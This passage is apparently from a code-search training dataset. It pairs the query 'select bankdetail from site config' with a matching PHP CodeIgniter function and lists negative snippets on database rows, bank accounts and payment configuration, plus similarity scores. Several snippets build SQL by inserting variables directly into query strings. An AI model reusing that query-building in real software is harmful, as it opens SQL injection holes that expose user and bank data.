$sorting_method = (!empty($this->dbh->sorting_method) ? $this->dbh->sorting_method : 'cmp');\n uksort($this->_recordset, array(&$this, $sorting_method));\n }\n reset($this->_recordset);\n // end processing result into recordset\n }\n return DB_OK;\n }", "abstract public function getRow();", "abstract public function getRow();", "private function get_imported_rows() {\n\t\treturn $this->imported_rows;\n\t}", "function getRows($table_name)\n {\n $sql = sprintf(\"SELECT * FROM %s\", $table_name);\n $rows = array();\n\n $result = $this->query($sql);\n while($row = $result->fetchArray(SQLITE3_ASSOC))\n {\n array_push($rows, $row);\n }\n\n return $rows;\n }", "public function getRow() {}", "public function getAll() {\n\t\treturn $this->rows;\n\t}", "public function asRow() {\n\t\treturn $this->_sth->fetchAll(PDO::FETCH_NUM);\n\t}", "abstract protected function _getRowBoth($rs);", "public function findAll()\n {\n return $this->getTable();\n }", "public function getAllRows()\n\t{\n\t\treturn $this->foundRows;\n\t}", "public function getItemsList(){\n return $this->_get(4);\n }", "public function getAllRelawan()\n {\n $this->db->query('SELECT * FROM ' . $this->table);\n return $this->db->resultSet();\n }", "public function itemsList()\n {\n return DB::table('examseries_data')\n ->join('quizzes', 'quizzes.id', '=', 'quiz_id')\n ->select('quizzes.*' )\n ->where('examseries_id', '=', $this->id)->get();\n }", "public function all()\n {\n $records = R::findAll( $this->table_name(), \" order by id \");\n\n $object = array_map( function($each_record) {\n return $this->map_reford_to_object( $each_record );\n },\n $records\n );\n\n return array_values( $object );\n }", "public function resultSet(){\n\t\t$this->execute();\n\t\treturn $this->stmt->fetchAll(PDO::FETCH_OBJ);\n\t}", "public function resultSet(){\n $this->execute();\n return $this->statement->fetchAll(PDO::FETCH_OBJ);\n }", "public function resultset(){\n\t\t$this->execute() ;\n\t\treturn $this->statement->fetchAll(PDO::FETCH_ASSOC) ;\n\t}", "public function getRelAll ()\n {\n \treturn ($this->db_object->getRowsAll (\"Select * from \".$this->table_prefix.$this->quiz_tables['rel']));\n }", "public static function findAll()\n\t\t{\n\t\t\t$tb = self::get('tabla') ;\n\t\t\t\n\t\t\treturn Database::getInstance()\n\t\t\t\t\t->query(\"SELECT * FROM $tb ;\")\n\t\t\t\t\t->getObjects(get_called_class()) ;\n\t\t}", "function getItems();", "function getItems();", "public static function getAllItems(){\n\t\t$sql = \"\n\t\tSELECT *\n\t\tFROM item\n\t\t\";\n\n\t\t// Make a PDO statement\n\t\t$statement = DB::prepare($sql);\n\n\t\t// Execute\n\t\tDB::execute($statement);\n\n\t\t// Get all the results of the statement into an array\n\t\t$results = $statement->fetchAll();\n\n\t\t// Loop array to get each row\n\t\t$template = '';\n\t\tforeach ($results as $heading => $row) {\n\t\t\t$template .=\n\t\t\t\t\t'<tr>\n\t\t\t\t\t\t<td>' . $row['name'] . '</td>\n\t\t\t\t\t\t<td>' . $row['price'] . '</td>\n\t\t\t\t\t\t<td>' . '<a href=\"edit_item.php?id=' . $row['id'] . '\">Edit</a></td>\n\t\t\t\t\t\t<td>' . '<a href=\"delete_item.php?id=' . $row['id'] . '\">Remove</a></td>\n\t\t\t\t\t</tr>';\n\t\t}\n\treturn $template;\n}", "public function fetchAll() {\n\t\t$queryBuilder = $this->db->createQueryBuilder();\n\t\t$queryBuilder\n\t\t\t->select('*')\n\t\t\t->from($this->table_name, 't1')\n\t\t;\n\t\t$result = $queryBuilder->execute()->fetchAll();\n\n\t\treturn $result;\n\t}", "public function getEtudiantRowsByPays()\n {\n return $this->findDependentRowset('Application_Model_Etudiant_DbTable', 'pays');\n }", "public function getRowCount();", "public function result_set() {\n $this -> execute();\n return $this -> stmt -> fetchAll();\n }", "private function get_rows()\n {\n // Prompt the expired time to devlog\n $debugTrailLevel = 1;\n $this->pObj->timeTracking_log( $debugTrailLevel, 'begin' );\n\n // IF : hits should counted\n if ( $this->ts_countHits() )\n {\n // 1. step: filter items with one hit at least\n $arr_return = $this->get_rowsWiHits();\n if ( $arr_return[ 'error' ][ 'status' ] )\n {\n return $arr_return;\n }\n $rows = $arr_return[ 'data' ][ 'rows' ];\n // 1. step: filter items with one hit at least\n }\n // IF : hits should counted\n // 2. step: all filter items, hits will be taken from $rows\n $arr_return = $this->get_rowsAllItems( $rows );\n\n return $arr_return;\n }", "public function nextRowset()\n {\n }" ]
[ "0.70225185", "0.6592591", "0.6580752", "0.65492654", "0.65492654", "0.64061743", "0.639105", "0.639105", "0.639105", "0.63052166", "0.6267998", "0.6088452", "0.602424", "0.6013904", "0.5999064", "0.597756", "0.59351224", "0.5927416", "0.59200776", "0.5906456", "0.5871371", "0.5840502", "0.58225054", "0.5803924", "0.57508075", "0.57508075", "0.57480216", "0.5745839", "0.5741057", "0.5740381", "0.57367736", "0.5734427", "0.57307905", "0.5712987", "0.57129604", "0.57117665", "0.5704331", "0.5696065", "0.56945693", "0.5692125", "0.56896055", "0.5681606", "0.5667081", "0.56665456", "0.5639194", "0.5629957", "0.5625247", "0.5625005", "0.56197274", "0.56196266", "0.5611145", "0.56056273", "0.5578667", "0.55786514", "0.55786514", "0.55786514", "0.55786514", "0.55786514", "0.55786514", "0.55786514", "0.55786514", "0.55786514", "0.55786514", "0.55786514", "0.55786514", "0.55786514", "0.5576275", "0.5574698", "0.5557179", "0.555661", "0.55560774", "0.5533503", "0.5528242", "0.5524467", "0.5524467", "0.5523424", "0.5517556", "0.5516319", "0.55134225", "0.5503011", "0.5496246", "0.5489245", "0.5487647", "0.5487365", "0.54813915", "0.5479821", "0.54710025", "0.5466125", "0.5465451", "0.54647994", "0.5462644", "0.5441938", "0.544165", "0.544165", "0.544128", "0.54381746", "0.5425912", "0.5424763", "0.5418882", "0.54176897", "0.5417503" ]
0.0
-1
select bankdetail from site config
function bankDetail() { $this->db->select('bankdetail'); $this->db->from('site_config'); $this->db->where('id','1'); $query = $this->db->get(); return $query; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function getDetailbank_account($statement,$customefield){\n $xstr=\"SELECT $customefield FROM bank_account $statement\";\n $query = $this->db->query($xstr);\n $row = $query->row();\n return $row;\n }", "public function fetch_bank_profile($id){\n $query = $this->db->join('nationality_08 b', 'a.01_nationality=b.08_id')\n ->join('bank_details_16 c', 'a.01_id=c.01_id')\n ->where('a.01_id', $id)\n ->get('register_01 a');\n if($query){\n return $query->result_array();\n }\n else{\n return false;\n }\n }", "function bank_config($presta, $abo = false){\n\n\t$id = \"\";\n\t$mode = $presta;\n\tif (preg_match(\",[/-][A-F0-9]{4},Uims\", $presta)){\n\t\t$mode = substr($presta, 0, -5);\n\t\t$id = substr($presta, -4);\n\t}\n\tif (substr($mode, -5)===\"_test\"){\n\t\t$mode = substr($mode, 0, -5);\n\t}\n\n\t// renommage d'un prestataire : assurer la continuite de fonctionnement\n\tif ($mode==\"cyberplus\"){\n\t\t$mode = \"systempay\";\n\t}\n\t$type = null;\n\tif ($abo){\n\t\t$type = 'abo';\n\t}\n\n\t$config = false;\n\tif ($mode!==\"gratuit\"){\n\t\t$configs = bank_lister_configs($type);\n\t\t$ids = array($id);\n\t\tif ($id){\n\t\t\t$ids[] = \"\";\n\t\t}\n\t\tforeach ($ids as $i){\n\t\t\tforeach ($configs as $k => $c){\n\t\t\t\tif ($c['presta']==$mode\n\t\t\t\t\tAND (!$i OR $i==bank_config_id($c))){\n\t\t\t\t\t// si actif c'est le bon, on sort\n\t\t\t\t\tif (isset($c['actif']) AND $c['actif']){\n\t\t\t\t\t\t$config = $c;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t// si inactif on le memorise mais on continue a chercher\n\t\t\t\t\tif (!$config){\n\t\t\t\t\t\t$config = $c;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ($config){\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (!$config){\n\t\t\tspip_log(\"Configuration $mode introuvable\", \"bank\" . _LOG_ERREUR);\n\t\t\t$config = array('erreur' => 'inconnu');\n\t\t}\n\t} // gratuit est un cas particulier\n\telse {\n\t\t$config = array(\n\t\t\t'presta' => 'gratuit',\n\t\t\t'actif' => true,\n\t\t);\n\t}\n\n\t#if (!isset($config['actif']) OR !$config['actif']){\n\t#\t$config = array();\n\t#}\n\n\tif (!isset($config['presta'])){\n\t\t$config['presta'] = $mode; // servira pour l'aiguillage dans le futur\n\t}\n\tif (!isset($config['config'])){\n\t\t$config['config'] = ($abo ? 'abo_' : '') . $mode;\n\t}\n\tif (!isset($config['type'])){\n\t\t$config['type'] = ($abo ? 'abo' : 'acte');\n\t}\n\n\treturn $config;\n}", "function particularbranch($id)\n\t{\n\t\t$getParsubbrand=\"SELECT * from brand where brand_id = $id\";\n\t\t$subbrand_data=$this->get_results( $getParsubbrand );\n\t\treturn $subbrand_data;\n\t}", "public function getBankAccount()\n {\n \treturn $this->db->get_where('bank_account',array('delete_status'=>0))->result();\n }", "function getCostCompanyBusinessCard(){\n\treturn campo('config_system','id','1','cost_company_bc');\n}", "function getCostCompanyBusinessCard(){\n\treturn campo('config_system','id','1','cost_company_bc');\n}", "public function get_bankDetails()\r\n {\r\n $this->db->select('first_name,middle_name, surname, school_name, department,b.reg_number,bank_name,bank_branch, bank_account,amount');\r\n $this->db->from('users u', 'left');\r\n $this->db->join('programmes p','p.prog_id=u.program','left');\r\n $this->db->join('departments d','d.dept_id=p.department_id','left');\r\n $this->db->join('schools s','s.sch_id=d.sch_id','left');\r\n $this->db->join('bank_details b','b.reg_number=u.reg_number');\r\n $query=$this->db->get();\r\n return $query->result_array();\r\n }", "public function bankdetailGet($id)\n {\n $fullResult = $this->client->call(\n 'crm.requisite.bankdetail.get',\n array('id' => $id)\n );\n return $fullResult;\n }", "public function selectData() {\n $database = \\Drupal::database();\n $query = $database->select('bank_account_cards', 'ac');\n $query->fields('ac', ['rid','uid','type','card_number','expiry_date','cvv','card_name','debit','default']);\n $query->condition('ac.uid', $this->getUserId());\n $query->orderBy('default', 'DESC');\n\n return $query->execute()->fetchAll();\n }", "public function show(Bank $bank)\n {\n //\n }", "public function show(Bank $bank)\n {\n //\n }", "public function show(Bank $bank)\n {\n //\n }", "public function bankdetailsAction() {\r\n $this->_checkIfUserIsLoggedIn();\r\n $queryBuilder = $this->getEntityManager()->createQueryBuilder();\r\n $queryBuilder->add('select', 'bd.bankDetailsId,bd.branchName ,bd.ifscCode,ct.ctname,b.bankName,bd.status')\r\n ->add('from', '\\Admin\\Entity\\BankDetails bd') \r\n ->innerJoin('\\Admin\\Entity\\City', 'ct',\\Doctrine\\ORM\\Query\\Expr\\Join::WITH,\r\n 'bd.cityId=ct.cityId')\r\n ->innerJoin('\\Admin\\Entity\\Bank', 'b',\\Doctrine\\ORM\\Query\\Expr\\Join::WITH,\r\n 'bd.bankName=b.bankId')\r\n ->orderBy('bd.bankDetailsId', 'DESC');\r\n $data= $queryBuilder->getQuery()->getArrayResult(); \r\n $keys=array();\r\n foreach($data as $array){ \r\n foreach($array as $key=>$value){\r\n $key=str_replace(\"_\",\" \",$key);\r\n $keys[]=$key ; \r\n }\r\n break;\r\n}\r\n $fieldNames=$keys;\r\n $this->layout()->setVariable('fildnames', $fieldNames);\r\n return new ViewModel(array('fildnames'=>$fieldNames));\r\n }", "function master_config($code = null , $field = \"value\")\n{\n $ci=& get_instance();\n $kd = strtoupper($code);\n $qry = $ci->db->get_where(\"master_config\",[\"code\"=>\"$kd\"]);\n if ($qry->num_rows() > 0) {\n return $qry->row()->$field;\n }else {\n return \"System not available\";;\n }\n}", "function add_bankdetails()\r\n\t\t{\r\n\t\t\t$data['page']='add_bankdetails';\r\n\t\t\t$this->load->view('admin',$data);\r\n\t\t}", "public function show(AccountBank $accountBank)\n {\n //\n }", "private function getBankOptions() {\n \n $this->checkBankOptions();\n $aBanks = $this->fetchBankOptions();\n return $aBanks;\n }", "function getCostPersonalBusinessCard(){\n\treturn campo('config_system','id','1','cost_personal_bc');\n}", "function getCostPersonalBusinessCard(){\n\treturn campo('config_system','id','1','cost_personal_bc');\n}", "public function getBankId()\n {\n if (!empty($this->info['bank_id'])) {\n return $this->info['bank_id'];\n }\n }", "public function viewbloodbank(){\n $bloodbank_table = TableRegistry::get('Bloodbank');\n $bloodbanks = $bloodbank_table->find(); \n $this->set('bloodbanks', $bloodbanks);\n $this->viewBuilder()->setLayout('backend');\n \n }", "public function bankdetailFields()\n {\n $fullResult = $this->client->call(\n 'crm.requisite.bankdetail.fields'\n );\n return $fullResult;\n }", "public function getBankId()\n {\n return $this->bank_id;\n }", "public function getBrandById($brandeditid){\n\t\t\t \t$brandeditid = mysqli_real_escape_string($this->db->link,$brandeditid);\n\t\t\t \t$query = \"SELECT * FROM tbl_brand WHERE brandId = '$brandeditid' \";\n\t\t\t \t$result = $this->db->select($query);\n\t\t\t \treturn $result;\n\n\t\t\t }", "public function getAccountBank()\n {\n return $this->account_bank;\n }", "function dokan_get_seller_bank_details( $seller_id ) {\n $info = dokan_get_store_info( $seller_id );\n $payment = $info['payment']['bank'];\n $details = array();\n\n if ( isset( $payment['ac_name'] ) ) {\n $details[] = sprintf( __( 'Account Name: %s', 'dokan' ), $payment['ac_name'] );\n }\n if ( isset( $payment['ac_number'] ) ) {\n $details[] = sprintf( __( 'Account Number: %s', 'dokan' ), $payment['ac_number'] );\n }\n if ( isset( $payment['bank_name'] ) ) {\n $details[] = sprintf( __( 'Bank Name: %s', 'dokan' ), $payment['bank_name'] );\n }\n if ( isset( $payment['bank_addr'] ) ) {\n $details[] = sprintf( __( 'Address: %s', 'dokan' ), $payment['bank_addr'] );\n }\n if ( isset( $payment['swift'] ) ) {\n $details[] = sprintf( __( 'SWIFT: %s', 'dokan' ), $payment['swift'] );\n }\n\n return nl2br( implode( \"\\n\", $details ) );\n}", "public function getBankcode()\n {\n return $this->bankcode;\n }", "public function getServiceInfo($BraID)\n {\n //Query To Get All Services Information From The DataBase Of Specific Branch By Branch ID\n $sql=\"SELECT * FROM service s INNER JOIN service_branch sb ON s.service_id=sb.service_id WHERE branch_id=?\";\n $values=Array($BraID);\n $services=$this->getInfo($sql,$values);\n \n //Paste Services Name Into The Selection\n ?> \n <option value=\"---\">---</option>\n <?php\n foreach($services as $i)\n {\n $id=$i['service_id'];\n ?> \n <option value=\"<?php echo $id ?>\"><?php echo $i['service_name']; ?></option>\n <?php\n }\n }", "function get_banks() {\n $aBankOptions = $this->getBankOptions();\n $aBanks = array();\n foreach ($aBankOptions as $id => $text) {\n $aBanks[] = array(\n \"id\" => $id,\n \"text\" => $text\n );\n }\n return $aBanks;\n }", "public function findbranch()\n\t{\n\t\t$post = $this->input->post();\n\t\t$data = $this->AjaxDB->findBranch(['course'=>$post['id']]);\n\t\t$d[] = 'Choose Branch';\n\t\tif (!empty($data)) {\n\t\t\tforeach ($data as $key => $value) {\n\t\t\t\t$d[$value->id] = $value->branch_name;\n\t\t\t}\n\t\t}\n\t\t$result = form_dropdown('branch',$d,'',['class'=>'form-control input-sm','id'=>'bid']);\n\t\techo $result;\n\t}", "function PlCompanyCategory($companyName,$bankName) {\n\t\t\t$getdetails='select '.$bankName.' From pl_company_list Where ( company_name=\"'.$companyName.'\")';\n\t\tlist($alreadyExist,$myrow)=Mainselectfunc($getdetails,$array = array());\n\t\tif($alreadyExist>0)\n\t\t{\n\t\t\t$CompanyCat=$myrow[$bankName];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$CompanyCat=\"\";\n\t\t}\n \n return($CompanyCat);\n }", "function get_seller_configuration_data()\n {\n $db = DataAccess::getInstance();\n $sql = \"select * from \" . $this->pages_table . \" where page_id = 113\";\n //echo $sql.\" at top<br>\\n\";\n $page_result = $this->db->Execute($sql);\n if (!$page_result) {\n $this->error_message = \"<span class=\\\"error_message\\\">\" . $this->messages[10364] . \"</span>\";\n return false;\n } elseif ($page_result->RecordCount() == 1) {\n $this->seller_configuration_data = $page_result->FetchNextObject();\n } else {\n return false;\n }\n\n return true;\n }", "public function obtener_configuracion(){\n\t $this->db->where(\"id_configuracion\",'1');\n\t\t$resultados = $this->db->get('configuracion');\n\t\treturn $resultados->row();\n}", "public function show(BankAccount $bankAccount)\n {\n //\n }", "public function show(BankAccount $bankAccount)\n {\n //\n }", "public function show(BankAccount $bankAccount)\n {\n //\n }", "public function getBankData()\n {\n $bankdata = null;\n $quote = Mage::getSingleton('checkout/session')->getQuote();\n (!$quote->getCustomerIsGuest()) ? $customerId = $quote->getCustomer()->getId() : $customerId = '';\n $piEncryption = new Pi_Util_Encryption_MagentoEncryption();\n if (!$quote->getCustomerIsGuest() && $piEncryption->isBankdataSetForUser($customerId)) {\n $bankdata = $piEncryption->loadBankdata($customerId);\n } else {\n $bankdata = array (\n 'owner' => Mage::getSingleton('core/session')->getAccountHolder()\n );\n\n if(Mage::getSingleton('core/session')->getIban()) {\n $bankdata['iban'] = Mage::getSingleton('core/session')->getIban();\n } else {\n $bankdata['accountnumber'] = Mage::getSingleton('core/session')->getAccountNumber();\n $bankdata['bankcode'] = Mage::getSingleton('core/session')->getBankCodeNumber();\n }\n }\n return $bankdata;\n }", "function getCostAccountCompany(){\n\treturn campo('config_system','id','1','cost_account_company');\n}", "function getCostAccountCompany(){\n\treturn campo('config_system','id','1','cost_account_company');\n}", "public function get_bank_id($bank_name){\r\n\t\t\t\r\n\t\t\t//sql\r\n\t\t\t$sql = \"SELECT `bank_id` FROM \".$this->table_name .\" WHERE `bank_name` = '\".$bank_name.\"'\";\r\n\t\t\t//run query\r\n\t\t\t$query = $this->connect_database->run_sql_query($sql);\r\n\t\t\t//fetch data\r\n\t\t\t$result = $this->connect_database->fetch_data($query);\r\n\t\t\treturn $result;\t\r\n\t\t}", "public function getBalance()\n {\n \t$getbrand = mysql_query(\"select * from brands where ref='\" . $_SESSION['brand'] . \"'\");\n $getbrandrow = mysql_fetch_array($getbrand);\n $manager = new Manager();\n return $manager->setBrand($getbrandrow['api_type'])->getBalance();\n }", "public function config_get(){\n\t\treturn $this->fb->exec('dhcp.config_get');\n\t}", "function bank_config_id($config){\n\tstatic $ids;\n\t$hash = serialize($config);\n\tif (isset($ids[$hash])){\n\t\treturn $ids[$hash];\n\t}\n\n\t$presta = $config['presta'];\n\tif (include_spip(\"presta/{$presta}/inc/$presta\") and function_exists($f = \"{$presta}_list_keys_for_id\")) {\n\t\t$keys = $f();\n\t\t$t = [\n\t\t\t'presta' => $presta\n\t\t];\n\t\tforeach ($keys as $k) {\n\t\t\tif (substr($k,-1) !== '_' or !empty($config[$k])) {\n\t\t\t\t$t[$k] = $config[$k];\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// sinon choix des cles par defaut\n\t\t$t = $config;\n\t\t// enlever les cles non significatives\n\t\tforeach (array(\n\t\t\t 'actif',\n\t\t\t 'config',\n\t\t\t 'type',\n\t\t\t 'cartes',\n\t\t\t 'mode_test',\n\t\t\t 'label',\n\t\t ) as $k){\n\t\t\tif (isset($t[$k])){\n\t\t\t\tunset($t[$k]);\n\t\t\t}\n\t\t}\n\t\tforeach ($t as $k => $v){\n\t\t\tif (\n\t\t\t\t// enlever les key/secret/signature/certificat\n\t\t\t\tstripos($k, \"key\")!==false\n\t\t\t\tOR stripos($k, \"cle\")!==false\n\t\t\t\tOR stripos($k, \"secret\")!==false\n\t\t\t\tOR stripos($k, \"signature\")!==false\n\t\t\t\tOR stripos($k, \"certificat\")!==false\n\t\t\t\tOR stripos($k, \"password\")!==false\n\t\t\t\tOR stripos($k, \"token\")!==false\n\t\t\t\t// enlever les logo/advert/notice/adresse\n\t\t\t\tOR stripos($k, \"logo\")!==false\n\t\t\t\tOR stripos($k, \"advert\")!==false\n\t\t\t\tOR stripos($k, \"notice\")!==false\n\t\t\t\tOR stripos($k, \"adresse\")!==false\n\t\t\t){\n\t\t\t\tunset($t[$k]);\n\t\t\t}\n\t\t\telseif (substr($k,-1) === '_' and empty($v)){\n\t\t\t\tunset($t[$k]);\n\t\t\t}\n\n\t\t}\n\t}\n\tksort($t);\n\tinclude_spip('inc/json');\n\t$t = json_encode($t);\n\t#var_dump($config['presta'],$t);\n\treturn $ids[$hash] = strtoupper(substr(md5($t), 0, 4));\n}", "function get_config($db) {\n $query = $db->getQuery(true);\n\n // Select all records from the user profile table where key begins with \"custom.\".\n // Order it by the ordering field.\n $query->select($db->quoteName(array('option_name', 'option_value')));\n $query->from($db->quoteName('codoforum_config'));\n \n // Reset the query using our newly populated query object.\n $db->setQuery($query);\n \n // Load the results as a list of stdClass objects (see later for more options on retrieving data).\n $results = $db->loadObjectList();\n\n $conf = array();\n foreach($results as $c) {\n\n $conf[$c->option_name] = $c->option_value;\n }\n \n return $conf;\n}", "public function fetch_banks(){\n $query = $this->db->where('status_id', 1)->get('banks');\n if($query){\n return $query->result_array();\n }else{\n return false;\n }\n }", "public function getInstituteBankName($bankId){\n \t \n $query =\"SELECT\tbankAbbr FROM `bank` WHERE bankId = '$bankId'\";\n \n \t return SystemDatabaseManager::getInstance()->executeQuery($query,\"Query: $query\");\n }", "public function brand_select() {\n //formulate select query\n $sql = \"SELECT * FROM brands\"; \n //execute query \n return $this->db_query($sql);\n }", "public function showConfigs($singleConfig = false) {\n\t\tif($singleConfig) {\n\t\t\tif(!$this->_configId) throw new Exception(lang('error_126'));\n\t\t\treturn $this->db->queryFetchSingle(\"SELECT * FROM \"._WE_CREDITSYS_.\" WHERE config_id = ?\", array($this->_configId));\n\t\t} else {\n\t\t\t$result = $this->db->queryFetch(\"SELECT * FROM \"._WE_CREDITSYS_.\" ORDER BY config_id ASC\");\n\t\t\tif($result) return $result;\n\t\t\treturn false;\n\t\t}\n\t}", "function select_business_data($bus_id)\n\t{\n\t\tglobal $db;\n\n\t\t$sql = \"SELECT * FROM \" . GARAGE_BUSINESS_TABLE . \" WHERE id = '$bus_id' \";\n\n\t\tif( !($result = $db->sql_query($sql)) )\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR, 'Could Not Select Model', '', __LINE__, __FILE__, $sql);\n\t\t}\n\n\t\t$row = $db->sql_fetchrow($result);\n\t\t$db->sql_freeresult($result);\n\n\t\treturn $row;\n\t}", "function checkBankOptions(){\n $resultId = tep_db_query(\"SELECT configuration_id FROM \". TABLE_CONFIGURATION .\" WHERE configuration_key='MODULE_PAYMENT_CGP_IDEAL_ISSUER_REFRESH'\");\n $aResult = tep_db_fetch_array($resultId);\n if (!$aResult ){\n $resultId = tep_db_query(\"INSERT INTO \". TABLE_CONFIGURATION .\"(configuration_title, configuration_key, configuration_value) \n VALUES ( 'Issuer Refresh', 'MODULE_PAYMENT_CGP_IDEAL_ISSUER_REFRESH',0)\");\n }\n $resultId = tep_db_query(\"SELECT configuration_value FROM \". TABLE_CONFIGURATION .\" WHERE configuration_key='MODULE_PAYMENT_CGP_IDEAL_ISSUER_REFRESH'\");\n $aResult = tep_db_fetch_array($resultId);\n $iIssuerRefresh = (int) $aResult['configuration_value'];\n if ($iIssuerRefresh < time()) {\n $this->cacheBankOptions();\n }\n \n }", "public function getBankName()\n {\n return $this->bank_name;\n }", "public function getBankName()\n {\n return $this->bank_name;\n }", "public function getBankName()\n {\n return $this->bank_name;\n }", "public function getlist_Config()\n\t {\n\t\t\t\t$this->db->select('ConfigurationId,Value,IsActive,DisplayText,Description,IsActive');\n\t\t\t\t$this->db->where('Key','Settings');\n\t\t\t\t$result = $this->db->get('tblmstconfiguration');\n\t\t\t\tforeach($result->result() as $rowss) {\n\t\t\t\t\t$Setting_model_data = $rowss;\n\t\t\t\t}\n\t\t\t\treturn $Setting_model_data->Value;\t\n }", "function getSavingsBalance($db_link, $cust_id){\n\t\t$sql_savbal = \"SELECT savbal_balance FROM savbalance WHERE cust_id = $cust_id\";\n\t\t$query_savbal = mysqli_query($db_link, $sql_savbal);\n\t\tcheckSQL($db_link, $query_savbal, $db_link);\n\n\t\t$savbal = mysqli_fetch_assoc($query_savbal);\n\n\t\treturn $savbal['savbal_balance'];\n\t}", "function getCapitalDetailById($id,$tran_type){\r\n \t$db = $this->getAdapter();\r\n \t$this->_name='cs_capital_detail';\r\n \t$sql = \" SELECT * FROM \". $this->_name .\" WHERE tran_id = $id AND tran_type = $tran_type AND status=1 LIMIT 1 \";\r\n \treturn $db->fetchRow($sql);\r\n }", "public function listing() {\n $this->aConfigs = $this->oLegalNotice->select();\n }", "function get_chamber_business(){\r\n $sql = $this->db->prepare(\"SELECT businessID, businessname FROM BUSINESS WHERE chamberID = :chamberid;\");\r\n\r\n $result = $sql->execute(array(\r\n \"chamberid\" => $_SESSION['chamber'],\r\n ));\r\n\r\n if ($result)\r\n return $sql->fetchAll(PDO::FETCH_ASSOC);\r\n else\r\n return false;\r\n }", "function getConfig($identifiant)\r\n{\r\n\tglobal $pdo;\r\n\t\r\n\t$SQL = \"SELECT * FROM pas_configuration WHERE identifiant = '$identifiant'\";\r\n\t$reponse = $pdo->query($SQL);\r\n\t$req = $reponse->fetch();\r\n\t\r\n\treturn $req['code'];\r\n}", "public function bankaccounts() {\n if ($this->input->get('view')) {\n $id = $this->myencrypt->decrypt_url($this->input->get('bankaccount_id'));\n $data['bankaccount'] = $this->account_model->getBankaccounts(array('mbankaccounts.mbankaccount_id' => $id));\n $data['balance'] = $this->account_model->getBankBalance(array('mbankaccount_id' => $id));\n $data['fixed_deposit'] = $this->account_model->getBankFixedDeposits(array('mbankaccount_id' => $id));\n $data['transactions'] = $this->account_model->getTransactions(false, array('ttransactions.mbankaccount_id' => $id, 'ttransactions.status' => 1));\n } else {\n $data['bankaccounts'] = $this->account_model->getBankaccounts();\n }\n $bank_data['name'] = \"accounts\";\n $data['bank_data'] = $bank_data;\n $this->view('bankaccounts', $data);\n }", "public function show(BanksDataTable $dataTable,Bank $bank)\n {\n $data['payments'] = Payment::where('bank_id',$bank->id)->get();\n $data['collections'] = Collection::where('bank_id',$bank->id)->get();\n return $dataTable->with(['bank_id' => $bank->id])->render('admin.bank.show',$data,compact('bank'));\n\n }", "public function edit_bank_details($id){\n $query = $this->db->join('banks b', 'a.bank_id = b.bank_id')\n ->where('01_id', $id)\n ->get('bank_details_16 a');\n if($query){\n return $query->row_array();\n }else{\n return false;\n }\n }", "public function getBankInfo($request, $response) {\n \t$publishable_key = getenv('STR_PUB');\n\n $has_account = StripeDB::select('acct_id')\n ->where('user_id', $this->auth->user()->id)\n ->first();\n\n \treturn $this->view->render($response, 'dashboard/bankInfo.twig', [\n \t\t'pub_key' => $publishable_key,\n 'has_account' => $has_account->acct_id,\n \t]);\n }", "public function get_bankcash() {\n\t return $this->db->get(\"tat_finance_bankcash\");\n\t}", "function payment_fields(){\n if($this -> description) echo wpautop(wptexturize($this -> description));\n\t\techo '<select id=\"bank\" name=\"nm_bank\">\n\t\t\t\t\t<option>--Select Bank--</option>\n \t\t\t<option value=\"MANDIRI\">MANDIRI</option>\n <option value=\"BNI\">BNI</option>\n <option value=\"BRI\">BRI</option>\n <option value=\"BCA\">BCA</option>\n <option value=\"Danamon\">Danamon</option>\n <option value=\"Permata\">Permata</option>\n <option value=\"BII\">BII</option>\n <option value=\"CIMB Niaga\">CIMB Niaga</option>\n <option value=\"OCBC NISP\">OCBC NISP</option>\n <option value=\"BTN\">BTN</option>\n <option value=\"Panin\">Bank Panin</option>\n <option value=\"MEGA\">MEGA</option>\n <option value=\"BUKOPIN\">BUKOPIN</option>\n <option value=\"Syariah Mandiri\">Syariah Mandiri</option>\n <option value=\"Mega Syariah\">Mega Syariah</option>\n <option value=\"BRI Syariah\">BRI Syariah</option>\t\t\t\n <option value=\"BJB\">Bank BJB</option>\n <option value=\"Buana\">Buana</option>\n <option value=\"Ekonomi\">Ekonomi</option>\n <option value=\"Mayapada\">Mayapada</option>\n <option value=\"Muamalat\">Muamalat</option>\n <option value=\"HSBC\">HSBC</option>\n <option value=\"Bumiputera\">Bumiputera</option>\n <option value=\"BPRKS\">BPRKS</option>\n <option value=\"Delima eMoney\">Delima eMoney</option>\n </select>';\n echo '<select id=\"channel\" name=\"nm_channel\">\n <option value=\"\">Channel</option>\n <option value=\"ATM\">ATM</option>\n <option value=\"Internet Banking\">Internet Banking</option>\n <option value=\"Mobile Banking\">Mobile Banking</option>\n </select>';\n }", "function which_bank_view($response)\n\t{\n\t\tlog_message('debug', 'Account/which_bank_view');\n\t\tif(!empty($response['type']) && $response['type'] == 'questions' && !empty($response['mfa'])) return 'mfa_answer';\n\t\telse if(!empty($response['type']) && $response['type'] == 'list' && !empty($response['mfa'])) return 'choose_code_delivery';\n\t\telse if(!empty($response['type']) && $response['type'] == 'device' && !empty($response['mfa']['message'])) return 'verification_code';\n\t\telse if(!empty($response['accounts'])) return 'user_bank_list';\n\t\telse return 'login_form';\n\t}", "public function arrayBank(){\n \t//array ini berhubugan langsung dengan CSS bank_indonesia.css\n \t//by: Gemintang A.W.\n \t//[email protected]\n \t$arr[] = array(\"nama\" => \"Mandiri\", \"cssid\" => \"bank-mandiri\");\n \t$arr[] = array(\"nama\" => \"Permata\", \"cssid\" => \"bank-permata\");\n \t$arr[] = array(\"nama\" => \"Central Asia\", \"cssid\" => \"bank-bca\");\n \t$arr[] = array(\"nama\" => \"Bukopin\", \"cssid\" => \"bank-bukopin\");\n \t$arr[] = array(\"nama\" => \"Negara Indonesia\", \"cssid\" => \"bank-bni\");\n \t$arr[] = array(\"nama\" => \"Jabar Banten\", \"cssid\" => \"bank-bjb\");\n \t$arr[] = array(\"nama\" => \"Rakyat Indonesia\", \"cssid\" => \"bank-bri\");\n \t$arr[] = array(\"nama\" => \"Tabungan Pensional Nasional\", \"cssid\" => \"bank-btpn\");\n \t$arr[] = array(\"nama\" => \"Indonesia\", \"cssid\" => \"bank-bi\");\n \t$arr[] = array(\"nama\" => \"United Overseas (UOB)\", \"cssid\" => 